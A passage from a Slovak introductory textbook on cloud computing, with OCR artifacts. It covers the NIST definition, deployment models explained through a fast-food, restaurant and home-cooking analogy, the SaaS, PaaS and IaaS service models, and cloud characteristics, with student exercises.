3. pocitate so stavebnicovou konstrukciou na baze tranzistorov a velkého
mnozstva integrovanych obvodov,

4. osobny pocita¢, ktory ma malé rozmery a vysoku rychlost, technologicky je
vystavany na baze mikroprocesorov so Sirokymi moznostami programového
alebo aplikacného vybavenia; v tejto generacii vznikaju aj tzv. sietové pocitace
a pocitace bez hard disku (dovody: spajanie vypoctovej sily, zvySovanie
rychlosti pocitania a spracovania dat, centralizacia ukladania informacii),

5. superpocitace a stroje s umelou inteligenciou na baze Cloud computingu
(fyzikdlne obmedzenia rychlosti mikroprocesorov vedu k potrebe spajat
vypoctové zdroje a paralelizovat vykondvanie vypoctovych tloh, ¢o vedie
k vytvaraniu zasobnikov vypoctovych zdrojov a zdielaniu vypoctového vykonu
— Cloud).

Cloud je teda technologickym komponentom piatej generacie computing-u

Co je to Cloud computing?

Hoci prvé myslienky o tom, Ze vypoctova technika bude poskytovana ako sluzba,
siahaju az do roku 1960%, skuto¢ne vyznamnu tlohu pri vzniku Cloud computing-
u (definiciu vid niZsie) zohrala firma Amazon?.

#  Informatik John McCarthy znamejsi skor ako priekopnik umelej inteligencie sa tidajne
zaoberal predpokladom, Ze vypoctova technika sa raz bude poskytovat ako verejna
sluzba.

¥ Amazon (company); Dostupné online; Amazon (company) - Wikipedia [21.09.2023]
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2 !
Obr.:A very brief history of Amazon: the everything store*®

Povodne ,gardzovy” internetovy obchod s knihami je dnes jednou
z najhodnotnejsich celosvetovych firiem v oblasti Cloud computing. Firma
prevadzkujuca internetovy obchod Amazon priblizne na zaciatku tohto tisicrocia
modernizovala svoje servery a nasledne zistila, Ze vyuziva len 10% ich celkovej
kapacity. Rozhodla sa teda ponuknut nevyuziti kapacitu externym zakaznikom
(economy of scale).

& economy of scale = tspory z rozsahu alebo aj vyhoda z vyroby vo velkom;

tento pojem sa pouziva najmd v suvislosti s ekonomickou vyhodou
velkokapacitnej vyroby produktov, vdaka ¢omu je mozné znizif naklady na
vyrobu, ¢o ma ekonomicky prinos. V stvislosti s historiou nastupu Cloud
computingu v pripade firmy Amazon islo o schopnost ekonomicky zuzitkovat
volné zdroje alebo prebytky zdrojov IT (informacnych technoldgit).

Cielom firmy Amazon bolo predavat “vela a rychlo”. Preto ponukla svoju
internetovi platformu na predaj (neskor nielen knih ale “Cohokolvek”) inym
obchodnikom, ako miesto, prostrednictvom ktorého mo6zu predavat svoje produkty
cez internet. Vytvorila tym siet predajcov, ktori zdielali spolo¢ny internetovy
obchod a jeho funkcie.

Neskdr rovnaky princip zdielania uplatnili pri predaji elektronickych sluzieb
a sluzieb prenajimania aplikacii cez internet (cloud sluzby). Zakladom schopnosti
prevadzkovat a pontkat elektronické sluzby cez internet velkému poctu
odberatelov je technika virtualizovania zdrojov a samotnych sluzieb.

% A very brief history of Amazon: the everything store [25.01.2024] Dostupné online:
https://interestingengineering.com/culture/a-very-brief-history-of-amazon-the-
everything-store
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Vyhodou odberatela sluzby je, ze moze prestat rozmyslat, aky vykonny server
potrebuje, kde bude ulozeny a kto ho bude spravovat. Prenajme si iba silu v cloude
vo velkosti, akt potrebuje (cloud zdroje). Paralelnych odberatelov cloud zdrojov
alebo sluzieb, ¢i aplikacii moze byt viac, avsak typicky nebudu vytazovat zdroje
rovnako alebo v rovnakom case - niekto pracuje len v noci, iny cez den, dalsi rano.
Takto je mozné vyuzit zdie[ané zdroje takmer na 100%. Vyhodou pre odberatela je,
Ze si nemusi kupit cely vypoctovy vykon alebo platformu sam, ¢o znamena, Ze je to
pre neho v takomto pripade lacnejsie. Ekonomicka vyhoda je najvyraznejsia pri
prendjme Standardizovanych sluzieb alebo aplikacii. Cena modifikovanych -
pouzivatelovi Specificky prispdsobenych - sluzieb s ich rasticim mnozstvom sttpa.

Védsina sluzieb a aplikacii poskytovanych cez internet je fahko dostupna - staci
niekol'ko kliknuti mysSou. V sticasnosti stt uz vSak k dispozicii platformy s velkou
skalou mikro-sluzieb, ktoré je mozné spajat a modifikovat podla potreby do
komplexnych celkov. Ich spristupneniu pre bezného pouzivatela preto predchadza
praca programatorov a dalsich IT Specialistov. Viac v dalsich kapitolach.

Cloud computing v oblasti IT, dalej zjednodusSene len Cloud, sa v praktickom
zZivote pre potreby lepSieho pochopenia ¢asto prirovndva ku Columbovej Zene
(pozn. Zena inSpektora zo znameho amerického serialu): vsetci o nej poculi, ale
nik ju nevidel.... ¥

Zadanim klticového slova Cloud do internetového prehliadaca je mozné najst velké
mnozstvo definicii alebo vysvetleni. Najcastejsie je vSak pouZzivana definicia
amerického narodného institatu pre Standardy a technoldgie - NIST>:

NIST Q  =CSRCMENU

Information Technology Laboratory

‘COMPUTER SECURITY
COMPUTER SECURITY RESOURCE CENTER NIST nggguwcecsm

NIST SP 800-145

The NIST Definition of Cloud Computing

f ¥ in &

Date Published: September 2011 DOCUMENTATION
Author(s) Publication:
Peter Mell (NIST), Tim Grance (NIST) (24 i.0rg/10.6028/NIST.SP.800-145
£ Download URL
Abstract Supplemental Material:
Cloud computing is a model for enabling ubiquitous, convenient, on-demand network access to a shared pool of h SP 800-145 (EPUB) (epub)
configurable computing resources (e.g., networks, servers, storage, applications, and services) that can be rapidly [ Press Release
provisioned and released with minimal management effort or service provider interaction. This cloud model is composed
of five essential characteristics, three service models, and four deployment models. Related NIST Publications:

" N SP500-325

Obr.: The NIST Definition of Cloud Computing”®

¥ Columbo je Zenaty a stale spomina svoju manzelku, ale ta sa v Ziadnej casti serialu
neobjavila. Dostupné online: https://sk.wikipedia.org/wiki/Columbo [21.09.2023]
% NIST: National Institute of Standards and Technology | NIST

' The NIST Definition of Cloud Computing [25.01.2024] Dostupné online: https://csrc.nist.
gov/pubs/sp/800/145/final
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& "cloud computing je model, ktory umoznuje vsadepritomny a pohodlny
siefovy pristup na poziadanie k zdielanému fondu konfigurovateInych
vypoctovych zdrojov (napr. sieti, serverov, tloznych priestorov, aplikacii
a sluzieb), ktoré je mozné poskytnut a uvolnit rychlo, s minimalnym tsilim na
manazment alebo interakciu s poskytovatelom sluzieb."

Definicia sama o sebe sa na prvé precitanie javi pomerne zlozita. To je dovod, preco
st v definicii zvyraznené a podciarknuté niektoré slova a slovné spojenia:

model,

pristup na poziadanie,
zdielany fond zdrojov,
rychlo, s minimalnym usilim.

(\?)_} Ndjdi aspoi tri rozne definicie Cloud-u na internete.

@ Zamysli sa: Ako by si vysvetlil vysSie uvedené podciarknuté pojmy s ohladom na IT svet
(pre oblast' IT)?

Zvyraznené pojmy su v danej definicii povaZzované za klucové a budeme sa o ne

opierat aj v dalsich castiach textu. Ich volnym a zjednodusenym prerozpravanim je

mozné Cloud charakterizovat ako zdsobnik (IT) zdrojov, ktoré sii dostupné na

poziadanie, pristup k nim je jednoduchy a rijchly a vynaloZené iisilia na ich ziskanie

je minimadlne.

\®_} Zamysli sa: K comu z bezného Zivota, k akym tovarom alebo sluzbdm, by si prirovnal to,
co poskytuje Cloud?

[ K ¢omu z bezného zivota je mozné Cloud prirovnat?
Dobrym prikladom je dodavanie sluzieb elektrickej energie, vody alebo plynu.

Dnes je takmer kazdy dom (stavba) pripojeny k distribucnej sieti uvedenych
komodit. Napriklad ako odberatel elektriny pri pohlade na elektricki zasuvku
predpokladam, Ze je v nej napitie a po pripojeni zariadenia sa mézem spolahnut na
to, Ze mam k dispozicii pozadované napdtie a moj spotrebi¢ bude normélne
napdjany, a teda funkény.

V zasade ma netrapi, ktora elektraren je zdrojom elektriny (pretoZe sa jedna o siet
prepojenych elektrarni). To, o ma zaujima, je fakt, ¢i tato sluzba je pre mmna
dostupna, t;j. po zapojeni zastrcky do zasuvky budem mat zdroj elektriny, ¢i je
bezpecna (napr. ¢i ma také parametre, aby mdj spotrebi¢ po zapojeni nezhorel)
a kol'ko ma to bude stat (finan¢né naklady). Zaroven predpokladam, ze tato sluzba
je pre mna dostupna nepretrzite (vypadky st samozrejme mozné) a som si vedoma
toho, Ze za spotrebu zaplatim presne podl'a hodnoty nameranej odobratej energie
na meracom zariadeni. Zlozitost pripojenia sa do siete v beznom zivote moze byt
samozrejme rozna, avsak pre tcely prirovnania Cloudu k beznému zivotu mame na
mysli pripojenie Standardného bytu v bytovom dome, ktoré v ideadlnom pripade
typicky vyzaduje jeden telefonat distribtitorovi.
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Cielom zvyraznenia jednotlivych slov v uvedenom priklade je upriamit pozornost
na tie charakteristiky, ktoré st pre akékol'vek sluzby —a teda aj Cloud - typické, resp.
su pre ne rovnaké.

Vyssie spominané komodity a Cloud maju rovnaké nasledovné prvky:

o siet vyrobcov/dodavatelov a ich zdzemie, infrastruktiira a prevadzka,
o sprostredkovatelov,

o distribuénu siet,

° spoplatriovanie odberu sluzieb na baze merania spotreby,

o urcitu kvalitu (spolahlivost, bezpecnost, dostupnost),

o odberatelov (zadkaznikov/spotrebitelov).

(\9} Ndjdi pit sluZieb z bezného Zivota, ktoré je mozné charakterizovat alebo aj merat vyssie
spomenutymi charakteristikami: sposob poskytovania, pristup k sluzbe, zisobnik
zdrojov, ryjchlost ziskania.

Modely poskytovanych Cloud sluzieb

Sposobov, ako a odkial sa poskytuju/predavaju sluzby, je vzdy viacero. Pre lepsie
pochopenie modelov Cloud sluZzieb sa opét oprieme o priklad zo Zivota.

[= Predstavte si velmi jednoduchti modelovu situaciu: ,Som hladny”. Ako
vyriesit takyto ,, problém”? Idealny spdsob: ,Najem sa.”

Ako zaneprazdneni Tudia, ,nahanani” sucasnou dobou véacsinou, chceme
vyriesit problém hladu rychlo, jednoducho, podla moznosti bez dopadu na
nase zdravie a za primerant cenu.

Aké mame moznosti?

1. vyuzit tzv. ,fast food” — tj. ist do najblizSej kantiny (bufetu/jedalne pre
Studentov alebo zamestnancov) alebo tzv. ,food court” (spolo¢ny priestor,
v ktorom susedia viaceri predajcovia jedla a ktory zahfna priestor pre
konzumaciu jedla),

2. ist do restauracie,

3. navarit si doma.

Pozrime sa teraz na charakteristiky/parametre jednotlivych moznosti z pohladu
vyssie uvedenych poziadaviek uspokojit hlad v nasej ,,rychlej” dobe:
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fast food reStauracia doma
Cas OK COK/NOK OK/COK/NOK
zlozitost OK OK OK/COK
bezpecnost NOK/COK/OK OK/COK OK
cena OK/COK ?! OK/COK/NOK

Tabulka ¢.1: Charakteristiky stravovacich moznosti
podla kl'icovych atribiitov z definicie Cloudu.

Legenda:

OK - pozitivny vysledok, system spiiia poziadavky

COK - &iastoéne OK, t.,j. niektoré Casti systému spitiaju poZiadavky, niektoré nie
NOK - negativny vysledok, system nespltia poziadavky

Vysvetlime si tabulku:

fast food

Asi najrychlejsie sa dostaneme k jedlu vo
fast food-e. Pri dobrom vybere je jedlo
bezpecné a mneuskodi nam, ale pozor,
niekedy je k dispozicii len nesldvne znamy
hamburger. Cena jedla vo fast food-och je
+/- primerand, moze sa stat, Ze je aj vyssia.
Avsak, C¢o je nutné si pri tomto type
stravovania uvedomit, je to, ze ponuka je
Standardizovand, to znamend, Ze nie je
mozné vymyslat vynimky (asi nikdy sa
nam nepodari si do hamburgeru vyjednat/
vypytat pridanie platkov syra naviac, ak to nie je v ponuke, méZeme vsak odmietnut
Cast sluzby, napriklad odmietneme cibul'u alebo uhorku).

To znamena, Ze pre tento variant plati: ber alebo neber.

To, ¢o musi zakaznik urobit, je rozhodnut sa, zvazit moznosti a rizika vyberu
a zodpovedat si zdkladné otazky, ako napr.:

e Je toto jedlo pre mna vyhovujice? Chuti mi?

e Mozem si dovolif jest tymto spdosobom pravidelne?

e Risknem kratkodobt ¢i jednorazovii konzumaciu? Ma to na mna nejaky dopad?
Ma to prinos?

o Je takéto jedlo dost bezpecné? Zdravotne mi jeho konzumacia neuskodi?
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e Vyhovuje mi cena?
e Vyhovuje mi sposob predaja, servirovanie, miesto konzumacie?

V kazdom pripade je vdaka normalizovanym postupom v zariadeniach fast food
ocakavatelné, Ze ten isty druh hamburgera bude chutif vzdy rovnako.

restauracia

Na prvy pohlad ma vlastnosti (charakteristiky) velmi blizke fast food-u, avsak, je tu
vsak povestné ,ale”.

Navsteva reStauracie vyzaduje vyhradit si viac ¢asu, ponuka je sice Standardizovana
v podobe jeddlneho listka, ale napriek tomu je mozné ,troska vymyslat” (napr.
objednat si jedlo bez prilohy, zamenit prilohu alebo Salat a podobne). V dobrej
reStauracii sa s najvacsou pravdepodobnostou dohodneme na extra sluzbe mimo
jedalneho listka za cenu mensieho usilia alebo aj za cenu zmeny ceny jedla. Pokial
nas jedlo v zmenenej podobe uspokoji, a akceptujeme cenu, sluzba je pre nas
vyhovujtca.

Vo védcsine reStauracii je jedlo s vysokou pravdepodobnostou bezpecné
a neotravime sa, ale pravdou je, Ze sa tato skutocnost neda tplne vylucdit. Preto je
vzdy vhodné preskumat kvalitu reStauracie (hodnotenia zakaznikov, referencie
a pod.). To znamend, Ze viaceré otazky uvedené v predchadzajucom priklade je
nutné polozit si a zodpovedat aj v tomto pripade.

V zéasade plati, ze pokial nds jedlo v danej reStauracii uspokojilo, je vysoko
pravdepodobné, Ze sa tam vratime a budeme ocakavat sluzby v porovnatelnej
kvalite a rovnaké jedlo priblizne rovnakej chuti, ¢o je Standardizovanymi postupmi
v danej prevadzke zarucené. Cena v tomto pripade je polozkou, ktora je zalezitostou
len nasho rozhodnutia, ¢i sme ochotni ju akceptovat. Za dobré jedlo sa vSak plati
viac.

domidce stravovanie

Asi nie je nutné vysvetlovat, ¢o vyzaduje taka priprava jedla doma. Rozhodne sa
treba najprv zamysliet, ¢o vlastne chceme varif, aké suroviny potrebujeme,
naplanovat nakup, aj naslednti pripravu a nakoniec aj jedlo uvarit a naservirovat.
Dizka celého procesu zavisi od vlastnych schopnosti a samotného vyberu jedla -
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pocntic rozhodnutim kde a kedy budeme nakupovat, resp. obstaravat potraviny, cez
vyber surovin, samotny proces pripravy, volbu miesta (v kuchyni alebo pojdeme do
prirody), mieru zlozitosti pripravy, az po samotné servirovanie a konzumdciu
(pricom stale existuje riziko, ze sa nie¢o nevydari a bude potrebné to ,,opravit” alebo
nanovo zopakovat a nakoniec nam to aj tak nasi rodinni prislusnici ,,0o8omra*).

Tu je dolezité uvedomit si, Ze mame cely proces tiplne pod kontrolou a vo vlastnych
rukach. Toto ma priamy dopad na cenu, cas, ktory pri tom stravim, kvalitu
vysledku, a zaroven vdaka roznym vplyvom moze mat to isté jedlo vo vysledku
mierne odlisnta chut.

Nepopieratel[nym benefitom tohto variantu je jeho bezpecnost, ktori mame vo
vlastnych rukach.

Navrat do IT sveta

Akd je spojitost medzi vysSie uvedenymi prikladmi stravovacich moznosti
a Cloudom? Ako aplikovat uvedené priklady do IT sveta?

Public Cloud Private Cloud Hybrid Cloud Multi-Cloud Community Cloud

Single organization

Cloud service . Cloud service Multiple
Owner Single organization and a cloud
provider service provider providers organizations
5 Professional Professional
Management complexity Easy IT team required IT team required Medium + Increased
Scalability & Flexibilit Hig Limited Improved High Moderate
Y (almost unlimited) (almost unlimited) rate
Security Medium - Increased Varies High - Medium
Reliability Medium + High High High Medium
Low initial cost (o O e
Cost (mostly High cost Cost-effective . Lower cost

the cheapest

pay-as-you-go) services)

Cloud Deployment Models — Types, Comparison & Examples™

2 Cloud Deployment Models — Types, Comparison & Examples [25.01.2024] Dostupné
online: https://spacelift.io/blog/cloud-deployment-models
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& Tri varianty uvedené v kapitole “Modely poskytovanych Cloud sluzieb”
svojimi charakteristikami zodpovedaji trom najtypickejSim modelom
nasadenia - deployment models, resp. modelom poskytovania Cloud sluzieb.
V podstate sa jedna o miesto a sposob, odkial su sluzby poskytované, a pre
koho.

(\@_} Ndjdi presnii definiciu slovného spojenia ,, deployment model” podl'a NIST.

Pozrime sa teraz znova na vyssie uvedené charakteristiky, avSak tentokrat
aplikované vo svete IT

parameter | Public Cloud (fast | Hybrid Cloud Private Cloud
\ model food) (reStauracia) (doma)

cas rychly pristup vyzaduje viac ¢asu VyZaduje najviac

casu
zlozitost jednoduché ziskat | nic zlozité rozna
dostatocna,
bezpecnost | diskutabilna v mojich rukach

s moznostou ovplyvnit

5&ino vysoka cena
vadsinou Ay s .
cena L moze byt vyssia a naklady za
priazniva .
pracu

Tabulka ¢.2: Charakteristiky modelov nasadenia Cloud sluZieb
podla atribiitov z definicie Cloudu

Interpretacia tabulky:
1. fast food — (verejny) Public Cloud

o sluzby alebo infrastruktdra st poskytované verejne, konkrétnymi
poskytovatelmi, vSetkym zaujemcom, tj. viacerym organizaciam alebo
osobam (verejnosti) prostrednictvom verejného internetu,

o poskytovand je vSade rovnaka, struktirovana a Standardizovana ponuka,
bez moznosti zmenit ju (sluzby st presne zadefinované v kataldgu sluzieb),

° informacie (data) spracovavané prostrednictvom tychto sluzieb nie st
striktne oddelené (data st ulozené na spolotnom ulozisku, stuvisiaca
skupina dat patriaca konkrétnej osobe alebo firme je definovana konkrétnym
atribatom zarucujacim patri¢nost ku skupine).

2. restaurdcia — (hybridny) Hybrid Cloud

o predstavuje akykolvek mozny mix sluzieb, umoziuje rozne kombinacie
sluzieb,

o sluzby alebo infrastruktira si poskytované verejne, konkrétnymi
poskytovatelmi, vSetkym zaujemcom, tj. viacerym organizaciam alebo
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osobam (verejnosti) prostrednictvom verejného internetu, avsak, moézu byt
prepojené s inymi verejne alebo aj privatne poskytovanymi sluzbami,
zakladny kataldg sluzieb je k dispozicii, avSak spajanie sluzieb, ich
modifikdcie a parametrizacia je povolena,

informacie (data) spracovavané prostrednictvom tychto sluzieb mozu, ale
nemusia byt strikine oddelené (stvisiaca skupina dat je definovana
konkrétnym atribiutom zarucujucim patricnost ku skupine alebo je
vytvorené izolované Specifické tlozisko pre spolu patriace informacie).

3. domice stravovanie - (vlastné datové centrum) On Premise/Private Cloud

v privatnom prostredi je na mieru vytvorena infrastruktira a na nej beZiace
programy alebo sluzby, ktoré vyuzivajt len presne vymedzeni pouzivatelia
v uzavretej, typicky verejne nedostupnej sieti,

sluzby nie st poskytované verejne, si privatne, urcené definovanému
okruhu odberatel'ov alebo pouzivatelov,

kataldg sluzieb neexistuje, sluzby st vytvarané podla potreby, so Sirokymi
moznostami parametrizacie, t.j. moZnostami prisposobenia sluzby na mieru,
vsetky data st uloZené oddelene, patria len konkrétnemu odberatelovi.

V predchadzajtcich riadkoch sme si vysvetlili, ¢o je to Cloud, akym spdsobom
je poskytovany, aky je rozdiel medzi typmi Cloud-ov — a to cez optiku moznosti
stravovania. Dozvedeli sme sa, Ze verejny Cloud je vlastne zoznam rovnakych
zdielanych sluzieb pre vSetkych zakaznikov. Predstavili sme si hybridny
Cloud, ktory sa v praxi pouziva Specialne v takych pripadoch, ak cast dat je
mozné spracovat vo verejnom Cloude a druhu cast je nevyhnutné spracovavat
v regulovanom, chranenom prostredi. No a nakoniec sme sa venovali
privatnemu Cloudu, ktory umoznuje dostat sluzby verejného Cloudu do
kontrolovanych priestorov firmy, a to za cenu zvysenych ndkladov za hardvér
a za cenu prace administratorov Cloudu.

Prvky, z ktorych je zloZeny cloud

Rychlost ekonomického rozvoja a trhova konkurencia nuti firmy a spolocnosti
orientovat sa vylu¢ne na svoj biznis. Cielom je dobre, spravne a vcéas reagovat na
zmeny na trhu tak, aby nestracali svoje obchodné prileZitosti.

Z uvedeného dovodu sa firmy stale menej a menej chcti zaoberat informacnymi
technoldgiami, systémami a aplikaciami, ktoré st zvycajne podporou ich
podnikania. Firmy sa nechcti zaoberat zdfhavym obstardvanim informaénych
systémoyv, ich spravou, udrzbou, aktualizaciou a ich rozvojom.

Cielom obchodnych, vyrobnych a podnikatelskych subjektov je preniest
zodpovednost za cinnosti spojené s prevadzkou, riadenim a poskytovanim
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informacnych systémov na spoloc¢nosti, ktoré st na to Specializované. Jednou
skupinou tychto Specializovanych firiem su tie, ktoré poskytuju IT Cloud sluzby.

Zmienené dovody tak postupne robia z Cloudu hlavny stavebny prvok réznych
firiem.

V Cloude je mozné jednoduchsie zdielat zdroje (vypoctové, datové, pamatové
zdroje, siefové prvky a pod.) alebo aj celé aplikacné systémy (aplikacie).

To moze firmam pomoct:

e s optimalizaciou, resp. so zniZzovanim nakladov - rozlozenim nakladov na
viacero subjektov, ktoré dané zdroje Cerpaju, je cena pre individualny subjekt
nizsia. Cenu optimalizuje aj to, Ze spoplatnené su len skutocne spotrebované
zdroje. Pri masivnom vyuZivani Cloud sluZieb organizdciou je vSak ich cena
porovnatelnd s cenou za rieSenia v domacom datovom centre, dokonca moéze
byt v urcitych pripadoch aj vyssia.

® 5o zvySovanim spolahlivosti IT zariadeni, pretoze sa o ne vylu¢ne staraju
Specialisti a systémy st vybudované tak, aby spolahlivost a dostupnost
garantovali.

e s optimalizaciou vyuzivania zdrojov, pretoze flexibilita a elasticita
infrastruktiry umoznuje vyuZzivanie zdrojov prave vtedy, ked to firma
potrebuje (odburranie nepouzivanych a nevyuzivanych zdrojov, o ktoré by sa
museli starat aj v Case, ked ich prave nevyuzivajt, napr. v noci).

Sluzby cloudu

Ako uz bolo uvedené, Cloud je v zasade systém sluzieb. Tieto sluzby st poskytované
individualne alebo kombinované v roznych skupinach, podla zamerania alebo
sposobu vyuzitia. Jedna sa o tzv. servisné modely (service models). Servisnym
modelom je skladba/zoznam Standardizovanych sluzieb. Opierajtc sa o priklady
uvedené v predchadzajicej kapitole, zoznam sluzieb v servisnom modeli je
v podstate jedalny listok.

PodTa definicie NIST rozoznavame tri zakladné servisné modely Cloud sluzieb:

& SaaS - Software as a Service (softvér ako sluzba) je schopnost poskytovat
spotrebitelovi  (zakaznikovi/najomnikovi) aplikaciu beziacu v Cloud
infrastruktare. Aplikdcia je pristupnd prostrednictvom web prehliadaca,
mobilnej aplikdcie alebo jednoduchého programového rozhrania (napr.
klientska aplikdcia: e-mail). Spotrebitel nespravuje, ani nema pod kontrolou
infrastrukttru, aplikdciu, ani jej komponenty, ako su siete, servery, operacné
systémy, uloziska. Spotrebitel nevie ovplyvnit ani vlastnosti a funkcie
aplikacie, okrem jednoduchych a zaroven obmedzenych konfigura¢nych
nastaveni Specifickych pre pouzivatela (napr. farba pouzivatelského rozhrania
aplikacie, nastavenie hesla a pod.).
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Opierajtic sa o priklad fast foodu, ktory sme pouzili v predchadzajicej kapitole,
zakaznik si vyberie z hotovej ponuky jedal bez moznosti ¢okolvek zmenit, okrem
minoritnych zmien, napr. toho, Ze sa rozhodne jest plastovym alebo metalickym
priborom, resp. sa rozhodne, ¢i si necha nalozit jedlo na tanier alebo zabalit so sebou.

Typickym prikladom SaaS su kanceldrske aplikdcie firmy Microsoft — Word, Excel,
PowerPoint - poskytované ako Cloud sluzby v rdamci Microsoft office 365 (https://www.office.
com)

G Microsoft 365 Signup for free | | Go premium |

£

SR Meroson sg5 4 @

We are

— P
\ VanArsdey, o

Obr.: Office is now Microsoft 365>

& Paa$S - Platform as a Service (platforma ako sluzba) je schopnost poskytovat
spotrebitelovi platformy, tj. také sluzby, ktoré mu umoZznia nasadit
(nainstalovat a prevadzkovat) vlastnymi schopnostami (schopnostami
samotného spotrebitela, firmy, resp. jej zamestnancov) vytvorenu alebo
nadobudnutt  aplikaciu. Aplikacia musi byt vytvorena pomocou
programovacich jazykov, kniznic a sluzieb podporovanych prevadzkovate[om
PaaS-u. Spotrebitel neriadi zdkladnti Cloud infrastruktiru, ako su siete,
servery, operacné systémy alebo tloziskd, avSsak ma kontrolu nad aplikaciou
samotnou alebo nad konfiguraénym nastavenim prostredia, ktoré danu
aplikaciu hostuje.

Vhodnym prirovnhanim je prendjom (Ciastocne vybavenych) priestorov, ak
chceme zriadit reStauraciu. Najdeme priestor s plne vybavenou kuchynou, ale
jedalenskui cast eSte potrebujeme doplnit alebo, pouzijuc priklad
z predchadzajuicej kapitoly, si objedname jedlo a cast jedla zmenime alebo
vymenime za nieco tplne iné, pricom vieme, Ze aj cena sa zmeni. V ramci IT st
dobrym prikladom sluzby Amazon Web Services (https://aws.amazon.com ).

% Office is now Microsoft 365 [25.01.2024] Dostupné online: https://www.microsoft365.
com/
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IaaS - Infrastructure as a Service (infrastruktira ako sluzba) je schopnost
poskytovat spotrebitelovi priamo vypoctové a spracovatelské sluzby (server),
ukladanie (tlozisko), siete a dalSie zakladné vypoctové zdroje alebo prvky,
ktoré umoznuju nasadit a spustit ubovolny softvér, ktory moze zahfnat
operacny systém a aj aplikdcie. Spotrebitel ma kontrolu nad operacnym
systémom, tloziskami, aplikaciami a do istej miery aj nad vybranymi sietovymi
komponentami. Vhodnym prikladom zo zivota by bol ,holo-priestor” na
prendjom za ucelom zriadenia gastro prevadzky.Typicky poskytovatelom IT laaS
su poskytovatelia sluZieb ddtovijch centier (hitps://www.equinix.com).

(\@_} Nijdi dalsie servisné modely. Co véetko v ramci IT je mozné poskytovat ako sluzbu?

Stavebné prvky Cloudu (architektura)

Uplne presné informacie o stavebnych prvkoch verejne poskytovanych Cloud
sluzieb nie je mozné ziskat. Dovodov je viacero. Na prvom mieste je vSak
bezpecnost. Cielom poskytovatelov Cloud sluzieb je dat k dispozicii odberatelom
(zdkaznikom) len tolko informaécii, aby mohli Cloud sluzby komfortne vyuZzivat.

Vsetky IT sluzby sti nasadené a prevadzkované na hardvérovych zariadeniach
(HW). Poskytovatelia Cloud sluzieb vyuzivaju na stavbu svojich datovych
centier Standardny hardvér, tzv. komoditné HW zariadenia (jednoduché
a Standardizované prvky, lahko zamenitelné). Mozeme si to predstavit ako
rovnaké, navzdjom prepojené, uzavreté kocky, moduly obsahujuce pocitace
(podobne, ako stavebnice Lego). Tieto moduly je mozné jednoducho spajat
a vytvarat z nich vicdsie celky — zdroje vypoctovej sily, tj. tloziska dat,
procesory a pamadtové Struktiry, prepojené sietovymi komponentami -
nazyvame ich HW infrastruktira. Dévodom pouzivania komodit je moznost
ich jednoduchej vymeny, pokial je to potrebné (napr. z dovodu ich poruchy).

Na vSetkych trovniach prevadzky infrastruktary je dodrziavany princip
vysokej dostupnosti na bdze redundancie (duplikovanie komponentov), ¢o
zarucuje skutocéne vysoké percenta dostupnosti Cloud sluzieb (95% az 99,95%,
v niektorych pripadoch aj viac). Tieto je vo svete on-premise (vo vlastnom -
domacom datovom centre) mozné dosiahnut len za cenu vysokych nakladov.

V ramci fyzickych budov datovych centier, ktoré si umiestnené vo viacerych
krajinach sveta, je teda vystavana fyzickd technologicka vrstva, HW
infraStrukttra, na ktort sa dalej aplikuju, presnejSie instaluji softvérové prvky
(SW), ktoré umoznuju riadit (spravovat) samotni HW infrastruktiru, ale aj
vytvarat abstraktnti troven roznych IT zdrojov (virtualizacia). Tieto sa
nasledne vyuzivaju na tvorbu sluzieb pripravenych na pouzitie priamo pre
odberatelov.
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Obr.1 — Priklad: Infrastruktiirno — technologicky “stack”

Spravu a pripravu samotnej HW infrastruktary alebo aj samotnych sluZzieb
zabezpecuje poskytovatel Cloud sluzieb. Ten dava zaroven odberatelovi k dispozicii
rozhranie a nastroje (aplikacie), vdaka ktorym ich méze zdkaznik pouzivat. Ide
vlastne o aplika¢né rozhranie poskytované cez web prehliadaé, prostrednictvom
ktorého je mozné vytvorit vlastny vypoctovy svet, ktory zahfna aj softvér, aj
hardvér.

Charakteristickou ¢rtou HW aj SW infrastruktary, ktora je k dispozicii v prostredi
Cloudu, je aj to, Ze ju vyuzivaju (zdielaju) viaceri zakaznici. To znamen4, ze sluzba,
ktora ste si objednali, beZi na rovnakom pocitaci pre viacero pouZzivatelov naraz.
Tento princip zdielania zdrojov umoziiuje udrzat niZsiu cenu za cloudové sluzby.

Vsetky laaS (Infrastructure-as-a-Service) a PaaS (Platform-as-a-Service) sluzby su
poskytované formou standardizovanych virtualnych komponentov, ktoré je mozné
vzajomne skladat (spdjat), velmi podobne ako uz spominané Lego.

Typické IaaS a PaaS sluzby st pre odberatela Standardne poskytované formou
virtualnych komponentov (virtudlny stroj). Samozrejme, aj tu existuji vynimky
alebo Specifické sluzby, ktoré umoznia napr. vyc¢lenit konkrétne HW zariadenie pre
potreby jedného zakaznika bez moznosti zdielat jeho voIné kapacity s inym
zakaznikom alebo dokonca je mozné priviest konkrétne prenajaté HW zariadenie do
sukromného datového centra a poskytovat pren len obmedzent cast sluzieb, napr.
udrzbu, aktualizaciu a pod. Cena takejto sluzby je omnoho vyssia, avsak jej
protivahou moze byt vyssia bezpecnost.

Hlavné charakteristiky Cloud-u

Definicia Cloud-u, ktort sme pouzili, tiez hovori o ,zdielanom fonde
konfigurovateInych vypoctovych zdrojov”. Schopnost ,zdielat” je jednou
z hlavnych charakteristik Cloud-u. Z vyssie uvedeného je zrejmé, Ze verejne
dostupna Cloud sluzba je schopna obsluzit viacero spotrebitelov, resp. ndgjomnikov
(angl. Tenant) stiCasne.
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Tu je strucny zoznam hlavnych charakteristik Cloud-u:

° viac “najomnikov” (multi-tenancy — dodavatel obsluhuje viacero klientov),

o poskytovanie formou “samoobsluhy” (self-service — klient si objednava
sluzby cez samoobsluzny web portal a sam si ich pouZitie nastavuje; ponuka
sluZzieb je Standardizovana),

° na poziadanie (on-demand — klient sam iniciuje zapnutie/vypnutie sluzby),

o pristup odkialkol'vek (web, internet),

o fond/zasobnik zdrojov (resource pooling - dynamické pridelovanie
tyzickych a virtualnych zdrojov v stilade s pouzivatelskymi potrebami),

o elasticita/moznost expandovat rychlo (rapid elasticity — moznost rychlo sa
prisposobit meniacim sa poziadavkam),

° meranie spotreby zdrojov (metering — poplatok za pouzitie sluzieb zalozeny
na ich skuto¢nom vyuziti/spotrebe).

Pozitiva a negativa Cloud-u

Prendjom IT sluzieb, aplikdcii, vypoctovych zdrojov, ulozisk a siete moze mat
ekonomické vyhody a moze zmensit naklady jednotlivcov alebo aj spolo¢nosti.

Typickymi prinosmi su:

o rychlost nasadenia (Startu pouzivania),
o flexibilné pouzivanie kapacity a vykonu,
e jednoduché zapnutie alebo vypnutie,

e platba len za spotrebované sluzby.

